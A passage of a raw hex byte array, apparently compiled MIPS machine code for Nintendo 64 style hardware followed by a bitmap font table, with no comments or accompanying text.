    0x3c, 0x0a, 0x1f, 0xff, 0x35, 0x4a, 0xff, 0xff,
    0x3c, 0x01, 0xa4, 0x60, 0x01, 0x2a, 0x48, 0x24,
    0xac, 0x29, 0x00, 0x00, 0x3c, 0x08, 0xa4, 0x60,
    0x8d, 0x08, 0x00, 0x10, 0x31, 0x08, 0x00, 0x02,
    0x55, 0x00, 0xff, 0xfd, 0x3c, 0x08, 0xa4, 0x60,
    0x24, 0x08, 0x10, 0x00, 0x01, 0x0b, 0x40, 0x20,
    0x01, 0x0a, 0x40, 0x24, 0x3c, 0x01, 0xa4, 0x60,
    0xac, 0x28, 0x00, 0x04, 0x3c, 0x0a, 0x00, 0x10,
    0x25, 0x4a, 0xff, 0xff, 0x3c, 0x01, 0xa4, 0x60,
    0xac, 0x2a, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x3c, 0x0b, 0xa4, 0x60,
    0x8d, 0x6b, 0x00, 0x10, 0x31, 0x6b, 0x00, 0x01,
    0x15, 0x60, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x0b, 0xb0, 0x00, 0x8d, 0x64, 0x00, 0x08,
    0x02, 0xc0, 0x28, 0x25, 0x3c, 0x01, 0x5d, 0x58,
    0x34, 0x21, 0x8b, 0x65, 0x00, 0xa1, 0x00, 0x19,
    0x27, 0xbd, 0xff, 0xe0, 0xaf, 0xbf, 0x00, 0x1c,
    0xaf, 0xb0, 0x00, 0x14, 0x3c, 0x1f, 0x00, 0x10,
    0x00, 0x00, 0x18, 0x25, 0x00, 0x00, 0x40, 0x25,
    0x00, 0x80, 0x48, 0x25, 0x24, 0x0d, 0x00, 0x20,
    0x00, 0x00, 0x10, 0x12, 0x24, 0x42, 0x00, 0x01,
    0x00, 0x40, 0x38, 0x25, 0x00, 0x40, 0x50, 0x25,
    0x00, 0x40, 0x58, 0x25, 0x00, 0x40, 0x80, 0x25,
    0x00, 0x40, 0x30, 0x25, 0x00, 0x40, 0x60, 0x25,
    0x8d, 0x22, 0x00, 0x00, 0x00, 0xe2, 0x18, 0x21,
    0x00, 0x67, 0x08, 0x2b, 0x10, 0x20, 0x00, 0x02,
    0x00, 0x60, 0x28, 0x25, 0x25, 0x4a, 0x00, 0x01,
    0x30, 0x43, 0x00, 0x1f, 0x01, 0xa3, 0x78, 0x23,
    0x01, 0xe2, 0xc0, 0x06, 0x00, 0x62, 0x70, 0x04,
    0x01, 0xd8, 0x20, 0x25, 0x00, 0xc2, 0x08, 0x2b,
    0x00, 0xa0, 0x38, 0x25, 0x01, 0x62, 0x58, 0x26,
    0x10, 0x20, 0x00, 0x04, 0x02, 0x04, 0x80, 0x21,
    0x00, 0xe2, 0xc8, 0x26, 0x10, 0x00, 0x00, 0x02,
    0x03, 0x26, 0x30, 0x26, 0x00, 0xc4, 0x30, 0x26,
    0x25, 0x08, 0x00, 0x04, 0x00, 0x50, 0x78, 0x26,
    0x25, 0x29, 0x00, 0x04, 0x15, 0x1f, 0xff, 0xe8,
    0x01, 0xec, 0x60, 0x21, 0x00, 0xea, 0x70, 0x26,
    0x01, 0xcb, 0x38, 0x26, 0x02, 0x06, 0xc0, 0x26,
    0x03, 0x0c, 0x80, 0x26, 0x3c, 0x0b, 0xb0, 0x00,
    0x8d, 0x68, 0x00, 0x10, 0x14, 0xe8, 0x00, 0x06,
    0x00, 0x00, 0x00, 0x00, 0x8d, 0x68, 0x00, 0x14,
    0x16, 0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
    0x04, 0x11, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
    0x04, 0x11, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x09, 0xa4, 0x08, 0x8d, 0x29, 0x00, 0x00,
    0x8f, 0xb0, 0x00, 0x14, 0x8f, 0xbf, 0x00, 0x1c,
    0x11, 0x20, 0x00, 0x06, 0x27, 0xbd, 0x00, 0x20,
    0x24, 0x0a, 0x00, 0x41, 0x3c, 0x01, 0xa4, 0x04,
    0xac, 0x2a, 0x00, 0x10, 0x3c, 0x01, 0xa4, 0x08,
    0xac, 0x20, 0x00, 0x00, 0x3c, 0x0b, 0x00, 0xaa,
    0x35, 0x6b, 0xaa, 0xae, 0x3c, 0x01, 0xa4, 0x04,
    0xac, 0x2b, 0x00, 0x10, 0x3c, 0x01, 0xa4, 0x30,
    0x24, 0x08, 0x05, 0x55, 0xac, 0x28, 0x00, 0x0c,
    0x3c, 0x01, 0xa4, 0x80, 0xac, 0x20, 0x00, 0x18,
    0x3c, 0x01, 0xa4, 0x50, 0xac, 0x20, 0x00, 0x0c,
    0x3c, 0x01, 0xa4, 0x30, 0x24, 0x09, 0x08, 0x00,
    0xac, 0x29, 0x00, 0x00, 0x24, 0x09, 0x00, 0x02,
    0x3c, 0x01, 0xa4, 0x60, 0x3c, 0x08, 0xa0, 0x00,
    0x35, 0x08, 0x03, 0x00, 0xac, 0x29, 0x00, 0x10,
    0xad, 0x17, 0x00, 0x14, 0xad, 0x15, 0x00, 0x0c,
    0xad, 0x13, 0x00, 0x04, 0x12, 0x60, 0x00, 0x04,
    0xad, 0x14, 0x00, 0x00, 0x3c, 0x09, 0xa6, 0x00,
    0x10, 0x00, 0x00, 0x03, 0x25, 0x29, 0x00, 0x00,
    0x3c, 0x09, 0xb0, 0x00, 0x25, 0x29, 0x00, 0x00,
    0xad, 0x09, 0x00, 0x08, 0x3c, 0x08, 0xa4, 0x00,
    0x25, 0x08, 0x00, 0x00, 0x21, 0x09, 0x10, 0x00,
    0x25, 0x08, 0x00, 0x04, 0x15, 0x09, 0xff, 0xfe,
    0xad, 0x00, 0xff, 0xfc, 0x3c, 0x08, 0xa4, 0x00,
    0x25, 0x08, 0x10, 0x00, 0x21, 0x09, 0x10, 0x00,
    0x25, 0x08, 0x00, 0x04, 0x15, 0x09, 0xff, 0xfe,
    0xad, 0x00, 0xff, 0xfc, 0x3c, 0x0b, 0xb0, 0x00,
    0x8d, 0x69, 0x00, 0x08, 0x01, 0x20, 0x00, 0x08,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x27, 0xbd, 0xff, 0x60, 0xaf, 0xb0, 0x00, 0x40,
    0xaf, 0xb1, 0x00, 0x44, 0x00, 0x00, 0x88, 0x25,
    0x00, 0x00, 0x80, 0x25, 0xaf, 0xa2, 0x00, 0x00,
    0xaf, 0xa3, 0x00, 0x04, 0xaf, 0xa4, 0x00, 0x08,
    0xaf, 0xa5, 0x00, 0x0c, 0xaf, 0xa6, 0x00, 0x10,
    0xaf, 0xa7, 0x00, 0x14, 0xaf, 0xa8, 0x00, 0x18,
    0xaf, 0xa9, 0x00, 0x1c, 0xaf, 0xaa, 0x00, 0x20,
    0xaf, 0xab, 0x00, 0x24, 0xaf, 0xac, 0x00, 0x28,
    0xaf, 0xad, 0x00, 0x2c, 0xaf, 0xae, 0x00, 0x30,
    0xaf, 0xaf, 0x00, 0x34, 0xaf, 0xb8, 0x00, 0x38,
    0xaf, 0xb9, 0x00, 0x3c, 0xaf, 0xb2, 0x00, 0x48,
    0xaf, 0xb3, 0x00, 0x4c, 0xaf, 0xb4, 0x00, 0x50,
    0xaf, 0xb5, 0x00, 0x54, 0xaf, 0xb6, 0x00, 0x58,
    0xaf, 0xb7, 0x00, 0x5c, 0xaf, 0xbe, 0x00, 0x60,
    0xaf, 0xbf, 0x00, 0x64, 0x0d, 0x00, 0x02, 0x20,
    0x00, 0x00, 0x00, 0x00, 0x26, 0x10, 0x00, 0x01,
    0x2a, 0x09, 0x00, 0x04, 0x15, 0x20, 0xff, 0xfb,
    0x02, 0x22, 0x88, 0x21, 0x00, 0x11, 0x20, 0x82,
    0x0d, 0x00, 0x02, 0x90, 0x24, 0x05, 0x00, 0x01,
    0x8f, 0xbf, 0x00, 0x64, 0x00, 0x11, 0x10, 0x82,
    0x8f, 0xb1, 0x00, 0x44, 0x8f, 0xa3, 0x00, 0x04,
    0x8f, 0xa4, 0x00, 0x08, 0x8f, 0xa5, 0x00, 0x0c,
    0x8f, 0xa6, 0x00, 0x10, 0x8f, 0xa7, 0x00, 0x14,
    0x8f, 0xa8, 0x00, 0x18, 0x8f, 0xa9, 0x00, 0x1c,
    0x8f, 0xaa, 0x00, 0x20, 0x8f, 0xab, 0x00, 0x24,
    0x8f, 0xac, 0x00, 0x28, 0x8f, 0xad, 0x00, 0x2c,
    0x8f, 0xae, 0x00, 0x30, 0x8f, 0xaf, 0x00, 0x34,
    0x8f, 0xb8, 0x00, 0x38, 0x8f, 0xb9, 0x00, 0x3c,
    0x8f, 0xb0, 0x00, 0x40, 0x8f, 0xb2, 0x00, 0x48,
    0x8f, 0xb3, 0x00, 0x4c, 0x8f, 0xb4, 0x00, 0x50,
    0x8f, 0xb5, 0x00, 0x54, 0x8f, 0xb6, 0x00, 0x58,
    0x8f, 0xb7, 0x00, 0x5c, 0x8f, 0xbe, 0x00, 0x60,
    0x03, 0xe0, 0x00, 0x08, 0x27, 0xbd, 0x00, 0xa0,
    0x27, 0xbd, 0xff, 0xe0, 0xaf, 0xbf, 0x00, 0x1c,
    0x00, 0x00, 0x48, 0x25, 0x00, 0x00, 0x58, 0x25,
    0x00, 0x00, 0x60, 0x25, 0x29, 0x9a, 0x00, 0x40,
    0x53, 0x40, 0x00, 0x18, 0x00, 0x00, 0x10, 0x25,
    0x0d, 0x00, 0x02, 0x43, 0x01, 0x80, 0x20, 0x25,
    0x58, 0x40, 0x00, 0x08, 0x29, 0x3a, 0x00, 0x50,
    0x00, 0x49, 0xd0, 0x23, 0x03, 0x4c, 0x00, 0x19,
    0x00, 0x40, 0x48, 0x25, 0x00, 0x00, 0xd0, 0x12,
    0x01, 0x7a, 0x58, 0x21, 0x00, 0x00, 0x00, 0x00,
    0x29, 0x3a, 0x00, 0x50, 0x17, 0x40, 0xff, 0xf1,
    0x25, 0x8c, 0x00, 0x01, 0x00, 0x0b, 0x20, 0x80,
    0x00, 0x8b, 0x20, 0x23, 0x00, 0x04, 0x20, 0x80,
    0x00, 0x8b, 0x20, 0x23, 0x00, 0x04, 0x20, 0x40,
    0x0d, 0x00, 0x02, 0x60, 0x24, 0x84, 0xfc, 0x90,
    0x10, 0x00, 0x00, 0x03, 0x8f, 0xbf, 0x00, 0x1c,
    0x00, 0x00, 0x10, 0x25, 0x8f, 0xbf, 0x00, 0x1c,
    0x27, 0xbd, 0x00, 0x20, 0x03, 0xe0, 0x00, 0x08,
    0x00, 0x00, 0x00, 0x00, 0x27, 0xbd, 0xff, 0xd8,
    0xaf, 0xbf, 0x00, 0x1c, 0x00, 0x00, 0x10, 0x25,
    0x0d, 0x00, 0x02, 0x90, 0x24, 0x05, 0x00, 0x02,
    0x00, 0x00, 0xf0, 0x25, 0x24, 0x1a, 0xff, 0xff,
    0xae, 0x9a, 0x00, 0x04, 0x8e, 0x83, 0x00, 0x04,
    0xae, 0x9a, 0x00, 0x00, 0xae, 0x9a, 0x00, 0x00,
    0x00, 0x00, 0xe0, 0x25, 0x00, 0x03, 0x1c, 0x02,
    0x30, 0x7a, 0x00, 0x01, 0x53, 0x40, 0x00, 0x03,
    0x27, 0x9c, 0x00, 0x01, 0x24, 0x42, 0x00, 0x01,
    0x27, 0x9c, 0x00, 0x01, 0x2b, 0x9a, 0x00, 0x08,
    0x17, 0x40, 0xff, 0xf9, 0x00, 0x03, 0x18, 0x42,
    0x27, 0xde, 0x00, 0x01, 0x2b, 0xda, 0x00, 0x0a,
    0x57, 0x40, 0xff, 0xef, 0x24, 0x1a, 0xff, 0xff,
    0x8f, 0xbf, 0x00, 0x1c, 0x27, 0xbd, 0x00, 0x28,
    0x03, 0xe0, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
    0x27, 0xbd, 0xff, 0xd8, 0xaf, 0xbf, 0x00, 0x1c,
    0xaf, 0xa4, 0x00, 0x20, 0xa3, 0xa0, 0x00, 0x27,
    0x00, 0x00, 0x40, 0x25, 0x00, 0x00, 0x50, 0x25,
    0x34, 0x0d, 0xc8, 0x00, 0x00, 0x00, 0x70, 0x25,
    0x29, 0xda, 0x00, 0x40, 0x57, 0x40, 0x00, 0x04,
    0x01, 0xc0, 0x20, 0x25, 0x10, 0x00, 0x00, 0x20,
    0x00, 0x00, 0x10, 0x25, 0x01, 0xc0, 0x20, 0x25,
    0x0d, 0x00, 0x02, 0x90, 0x24, 0x05, 0x00, 0x01,
    0x0d, 0x00, 0x02, 0xb4, 0x27, 0xa4, 0x00, 0x27,
    0x0d, 0x00, 0x02, 0xb4, 0x27, 0xa4, 0x00, 0x27,
    0x93, 0xba, 0x00, 0x27, 0x24, 0x1b, 0x03, 0x20,
    0x8f, 0xa4, 0x00, 0x20, 0x03, 0x5b, 0x00, 0x19,
    0x00, 0x00, 0x40, 0x12, 0x01, 0x04, 0xd0, 0x23,
    0x07, 0x43, 0x00, 0x03, 0x03, 0x4d, 0xd8, 0x2a,
    0x00, 0x88, 0xd0, 0x23, 0x03, 0x4d, 0xd8, 0x2a,
    0x53, 0x60, 0x00, 0x04, 0x8f, 0xa4, 0x00, 0x20,
    0x03, 0x40, 0x68, 0x25, 0x01, 0xc0, 0x50, 0x25,
    0x8f, 0xa4, 0x00, 0x20, 0x01, 0x04, 0xd8, 0x2a,
    0x53, 0x60, 0x00, 0x06, 0x01, 0x4e, 0x10, 0x21,
    0x25, 0xce, 0x00, 0x01, 0x29, 0xdb, 0x00, 0x41,
    0x57, 0x60, 0xff, 0xe0, 0x29, 0xda, 0x00, 0x40,
    0x01, 0x4e, 0x10, 0x21, 0x00, 0x02, 0x10, 0x42,
    0x8f, 0xbf, 0x00, 0x1c, 0x27, 0xbd, 0x00, 0x28,
    0x03, 0xe0, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
    0x27, 0xbd, 0xff, 0xd8, 0x30, 0x84, 0x00, 0xff,
    0x24, 0x1b, 0x00, 0x01, 0x38, 0x84, 0x00, 0x3f,
    0xaf, 0xbf, 0x00, 0x1c, 0x14, 0xbb, 0x00, 0x03,
    0x3c, 0x0f, 0x46, 0x00, 0x3c, 0x1a, 0x80, 0x00,
    0x01, 0xfa, 0x78, 0x25, 0x30, 0x9a, 0x00, 0x01,
    0x00, 0x1a, 0xd1, 0x80, 0x01, 0xfa, 0x78, 0x25,
    0x30, 0x9a, 0x00, 0x02, 0x00, 0x1a, 0xd3, 0x40,
    0x01, 0xfa, 0x78, 0x25, 0x30, 0x9a, 0x00, 0x04,
    0x00, 0x1a, 0xd5, 0x00, 0x01, 0xfa, 0x78, 0x25,
    0x30, 0x9a, 0x00, 0x08, 0x00, 0x1a, 0xd1, 0x00,
    0x01, 0xfa, 0x78, 0x25, 0x30, 0x9a, 0x00, 0x10,
    0x00, 0x1a, 0xd2, 0xc0, 0x01, 0xfa, 0x78, 0x25,
    0x30, 0x9a, 0x00, 0x20, 0x00, 0x1a, 0xd4, 0x80,
    0x01, 0xfa, 0x78, 0x25, 0x24, 0x1b, 0x00, 0x01,
    0x14, 0xbb, 0x00, 0x03, 0xae, 0xaf, 0x00, 0x00,
    0x3c, 0x1a, 0xa4, 0x30, 0xaf, 0x40, 0x00, 0x00,
    0x8f, 0xbf, 0x00, 0x1c, 0x27, 0xbd, 0x00, 0x28,
    0x03, 0xe0, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
    0x27, 0xbd, 0xff, 0xd8, 0xaf, 0xbf, 0x00, 0x1c,
    0x24, 0x1a, 0x20, 0x00, 0x3c, 0x1b, 0xa4, 0x30,
    0xaf, 0x7a, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x25,
    0x8e, 0xbe, 0x00, 0x00, 0x24, 0x1a, 0x10, 0x00,
    0xaf, 0x7a, 0x00, 0x00, 0x24, 0x1b, 0x00, 0x40,
    0x03, 0x7e, 0xd8, 0x24, 0x00, 0x1b, 0xd9, 0x82,
    0x00, 0x00, 0xd0, 0x25, 0x03, 0x5b, 0xd0, 0x25,
    0x24, 0x1b, 0x40, 0x00, 0x03, 0x7e, 0xd8, 0x24,
    0x00, 0x1b, 0xdb, 0x42, 0x03, 0x5b, 0xd0, 0x25,
    0x3c, 0x1b, 0x00, 0x40, 0x03, 0x7e, 0xd8, 0x24,
    0x00, 0x1b, 0xdd, 0x02, 0x03, 0x5b, 0xd0, 0x25,
    0x24, 0x1b, 0x00, 0x80, 0x03, 0x7e, 0xd8, 0x24,
    0x00, 0x1b, 0xd9, 0x02, 0x03, 0x5b, 0xd0, 0x25,
    0x34, 0x1b, 0x80, 0x00, 0x03, 0x7e, 0xd8, 0x24,
    0x00, 0x1b, 0xda, 0xc2, 0x03, 0x5b, 0xd0, 0x25,
    0x3c, 0x1b, 0x00, 0x80, 0x03, 0x7e, 0xd8, 0x24,
    0x00, 0x1b, 0xdc, 0x82, 0x03, 0x5b, 0xd0, 0x25,
    0xa0, 0x9a, 0x00, 0x00, 0x8f, 0xbf, 0x00, 0x1c,
    0x27, 0xbd, 0x00, 0x28, 0x03, 0xe0, 0x00, 0x08,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x10, 0x01, 0x40, 0x0a, 0x00, 0x88,
    0x04, 0x40, 0x22, 0x02, 0x08, 0x10, 0x41, 0xff,
    0x08, 0x08, 0x40, 0x44, 0x01, 0x20, 0x08, 0x7f,
    0x02, 0x04, 0x10, 0x10, 0x80, 0x84, 0x04, 0x20,
    0x41, 0xfe, 0x08, 0x08, 0x40, 0x22, 0x01, 0x10,
    0x08, 0x80, 0x44, 0x04, 0x3f, 0xc0, 0x07, 0x00,
    0xc6, 0x08, 0x08, 0x80, 0x24, 0x01, 0x40, 0x02,
    0x00, 0x10, 0x00, 0x80, 0x02, 0x00, 0x90, 0x04,
    0x40, 0x41, 0x8c, 0x03, 0x80, 0x7e, 0x02, 0x0c,
    0x10, 0x10, 0x80, 0x44, 0x02, 0x20, 0x09, 0x00,
    0x48, 0x02, 0x40, 0x12, 0x01, 0x10, 0x08, 0x80,
    0x84, 0x18, 0x3f, 0x00, 0x7f, 0xe2, 0x00, 0x10,
    0x00, 0x80, 0x04, 0x00, 0x20, 0x01, 0xff, 0x08,
    0x00, 0x40, 0x02, 0x00, 0x10, 0x00, 0x80, 0x04,
    0x00, 0x3f, 0xf0, 0x7f, 0xe2, 0x00, 0x10, 0x00,
    0x80, 0x04, 0x00, 0x20, 0x01, 0xff, 0x08, 0x00,
    0x40, 0x02, 0x00, 0x10, 0x00, 0x80, 0x04, 0x00,
    0x20, 0x00, 0x07, 0x00, 0xc6, 0x08, 0x08, 0x80,
    0x24, 0x01, 0x40, 0x02, 0x00, 0x10, 0x00, 0x83,
    0xf2, 0x00, 0x90, 0x04, 0x40, 0x61, 0x8d, 0x03,
    0x88, 0x40, 0x12, 0x00, 0x90, 0x04, 0x80, 0x24,
    0x01, 0x20, 0x09, 0xff, 0xc8, 0x02, 0x40, 0x12,
    0x00, 0x90, 0x04, 0x80, 0x24, 0x01, 0x20, 0x08,
    0x07, 0x00, 0x10, 0x00, 0x80, 0x04, 0x00, 0x20,
    0x01, 0x00, 0x08, 0x00, 0x40, 0x02, 0x00, 0x10,
    0x00, 0x80, 0x04, 0x00, 0x20, 0x03, 0x80, 0x00,
    0x40, 0x02, 0x00, 0x10, 0x00, 0x80, 0x04, 0x00,
    0x20, 0x01, 0x00, 0x08, 0x00, 0x42, 0x02, 0x10,
    0x10, 0x80, 0x82, 0x08, 0x0f, 0x80, 0x40, 0x22,
    0x02, 0x10, 0x20, 0x82, 0x04, 0x20, 0x22, 0x01,
    0x20, 0x0a, 0x80, 0x62, 0x02, 0x08, 0x10, 0x20,
    0x80, 0x84, 0x02, 0x20, 0x08, 0x40, 0x02, 0x00,
    0x10, 0x00, 0x80, 0x04, 0x00, 0x20, 0x01, 0x00,
    0x08, 0x00, 0x40, 0x02, 0x00, 0x10, 0x00, 0x80,
    0x04, 0x00, 0x3f, 0xf0, 0x80, 0x0c, 0x00, 0x70,
    0x07, 0x40, 0x5a, 0x02, 0xc8, 0x26, 0x41, 0x31,
    0x11, 0x88, 0x8c, 0x28, 0x61, 0x43, 0x04, 0x18,
    0x20, 0xc0, 0x04, 0x40, 0x23, 0x01, 0x14, 0x08,
    0xa0, 0x44, 0x82, 0x22, 0x11, 0x10, 0x88, 0x44,
    0x42, 0x22, 0x09, 0x10, 0x28, 0x81, 0x44, 0x06,
    0x20, 0x10, 0x0f, 0x01, 0x86, 0x10, 0x08, 0x80,
    0x48, 0x01, 0x40, 0x0a, 0x00, 0x50, 0x02, 0x80,
    0x14, 0x00, 0x90, 0x08, 0x80, 0x43, 0x0c, 0x07,
    0x80, 0x7f, 0x82, 0x02, 0x10, 0x08, 0x80, 0x44,
    0x02, 0x20, 0x11, 0x01, 0x0f, 0xf0, 0x40, 0x02,
    0x00, 0x10, 0x00, 0x80, 0x04, 0x00, 0x20, 0x00,
    0x0f, 0x01, 0x86, 0x10, 0x08, 0x80, 0x48, 0x01,
    0x40, 0x0a, 0x00, 0x50, 0x02, 0x80, 0x14, 0x10,
    0x90, 0x48, 0x81, 0x43, 0x0c, 0x07, 0x90, 0x7f,
    0x82, 0x02, 0x10, 0x08, 0x80, 0x44, 0x02, 0x20,
    0x21, 0xfe, 0x08, 0x20, 0x40, 0x82, 0x04, 0x10,
    0x10, 0x80, 0x84, 0x02, 0x20, 0x10, 0x1f, 0x81,
    0x02, 0x10, 0x08, 0x80, 0x44, 0x00, 0x10, 0x00,
    0x70, 0x00, 0x70, 0x00, 0x40, 0x01, 0x10, 0x08,
    0x80, 0x42, 0x04, 0x0f, 0xc0, 0x7f, 0xf0, 0x10,
    0x00, 0x80, 0x04, 0x00, 0x20, 0x01, 0x00, 0x08,
    0x00, 0x40, 0x02, 0x00, 0x10, 0x00, 0x80, 0x04,
    0x00, 0x20, 0x01, 0x00, 0x40, 0x22, 0x01, 0x10,
    0x08, 0x80, 0x44, 0x02, 0x20, 0x11, 0x00, 0x88,
    0x04, 0x40, 0x22, 0x01, 0x08, 0x10, 0x40, 0x81,
    0x08, 0x07, 0x80, 0x40, 0x12, 0x00, 0x88, 0x08,
    0x40, 0x42, 0x02, 0x08, 0x20, 0x41, 0x01, 0x10,
    0x08, 0x80, 0x44, 0x01, 0x40, 0x0a, 0x00, 0x20,
    0x01, 0x00, 0x82, 0x0c, 0x10, 0x60, 0x82, 0x8a,
    0x24, 0x51, 0x22, 0x89, 0x14, 0x45, 0x14, 0x28,
    0xa1, 0x45, 0x0a, 0x28, 0x20, 0x81, 0x04, 0x08,
    0x20, 0x40, 0x11, 0x01, 0x04, 0x10, 0x20, 0x80,
    0x88, 0x02, 0x80, 0x08, 0x00, 0x40, 0x05, 0x00,
    0x44, 0x04, 0x10, 0x20, 0x82, 0x02, 0x20, 0x08,
    0x40, 0x11, 0x01, 0x08, 0x08, 0x20, 0x80, 0x88,
    0x04, 0x40, 0x14, 0x00, 0x40, 0x02, 0x00, 0x10,
    0x00, 0x80, 0x04, 0x00, 0x20, 0x01, 0x00, 0x7f,
    0xe0, 0x01, 0x00, 0x10, 0x01, 0x00, 0x08, 0x00,
    0x80, 0x08, 0x00, 0x80, 0x08, 0x00, 0x80, 0x04,
    0x00, 0x40, 0x04, 0x00, 0x3f, 0xf0, 0x0f, 0x80,
    0x82, 0x08, 0x08, 0x40, 0x42, 0x02, 0x10, 0x10,
    0x80, 0x84, 0x04, 0x20, 0x21, 0x01, 0x08, 0x08,
    0x40, 0x41, 0x04, 0x07, 0xc0, 0x02, 0x00, 0x30,
    0x02, 0x80, 0x04, 0x00, 0x20, 0x01, 0x00, 0x08,
    0x00, 0x40, 0x02, 0x00, 0x10, 0x00, 0x80, 0x04,
    0x00, 0x20, 0x01, 0x00, 0x0f, 0x00, 0x84, 0x08,
    0x10, 0x40, 0x80, 0x04, 0x00, 0x20, 0x02, 0x00,
    0x20, 0x02, 0x00, 0x20, 0x02, 0x00, 0x20, 0x02,
    0x00, 0x1f, 0xe0, 0x0f, 0x00, 0x84, 0x08, 0x10,
    0x40, 0x80, 0x04, 0x00, 0x40, 0x1c, 0x00, 0x10,
    0x00, 0x40, 0x02, 0x08, 0x10, 0x40, 0x81, 0x08,
    0x07, 0x80, 0x01, 0x00, 0x18, 0x00, 0xc0, 0x0a,
    0x00, 0x90, 0x04, 0x80, 0x44, 0x04, 0x20, 0x21,
    0x02, 0x08, 0x1f, 0xf8, 0x02, 0x00, 0x10, 0x00,
    0x80, 0x1f, 0x81, 0x00, 0x08, 0x00, 0x40, 0x02,
    0x00, 0x17, 0x80, 0xc2, 0x04, 0x08, 0x00, 0x40,
    0x02, 0x08, 0x10, 0x40, 0x81, 0x08, 0x07, 0x80,
    0x0f, 0x00, 0x84, 0x08, 0x10, 0x40, 0x82, 0x00,
    0x10, 0x00, 0xbc, 0x06, 0x10, 0x20, 0x41, 0x02,
    0x08, 0x10, 0x40, 0x81, 0x08, 0x07, 0x80, 0x3f,
    0xc0, 0x02, 0x00, 0x20, 0x01, 0x00, 0x10, 0x00,
    0x80, 0x04, 0x00, 0x40, 0x02, 0x00, 0x10, 0x01,
    0x00, 0x08, 0x00, 0x40, 0x02, 0x00, 0x0f, 0x00,
    0x84, 0x08, 0x10, 0x40, 0x82, 0x04, 0x08, 0x40,
    0x3c, 0x02, 0x10, 0x20, 0x41, 0x02, 0x08, 0x10,
    0x40, 0x81, 0x08, 0x07, 0x80, 0x0f, 0x00, 0x84,
    0x08, 0x10, 0x40, 0x82, 0x04, 0x10, 0x20, 0x43,
    0x01, 0xe8, 0x00, 0x40, 0x02, 0x08, 0x10, 0x40,
    0x81, 0x08, 0x07, 0x80, 0x02, 0x00, 0x10, 0x00,
    0x80, 0x04, 0x00, 0x20, 0x01, 0x00, 0x08, 0x00,
    0x40, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x20, 0x01, 0x00, 0xd8, 0x06, 0xc0, 0x12, 0x01,
    0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x04, 0x40, 0x22, 0x01, 0x10, 0x08,
    0x87, 0xff, 0x04, 0x40, 0x22, 0x01, 0x10, 0x08,
    0x83, 0xff, 0x84, 0x40, 0x22, 0x01, 0x10, 0x08,
    0x80, 0xc0, 0x06, 0x00, 0x10, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x80, 0x44, 0x41, 0x24,
    0x05, 0x40, 0x1c, 0x00, 0x40, 0x07, 0x00, 0x54,
    0x04, 0x90, 0x44, 0x40, 0x20, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x80, 0x04, 0x00, 0x20, 0x01,
    0x00, 0x08, 0x0f, 0xfe, 0x02, 0x00, 0x10, 0x00,
    0x80, 0x04, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01,
    0x80, 0x04, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x0f, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x80, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x04,
    0x00, 0x40, 0x04, 0x00, 0x40, 0x04, 0x00, 0x40,
    0x04, 0x00, 0x40, 0x04, 0x00, 0x40, 0x04, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c,
    0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x3f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x03,
    0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x44, 0x04, 0x10, 0x20, 0x80, 0x04,
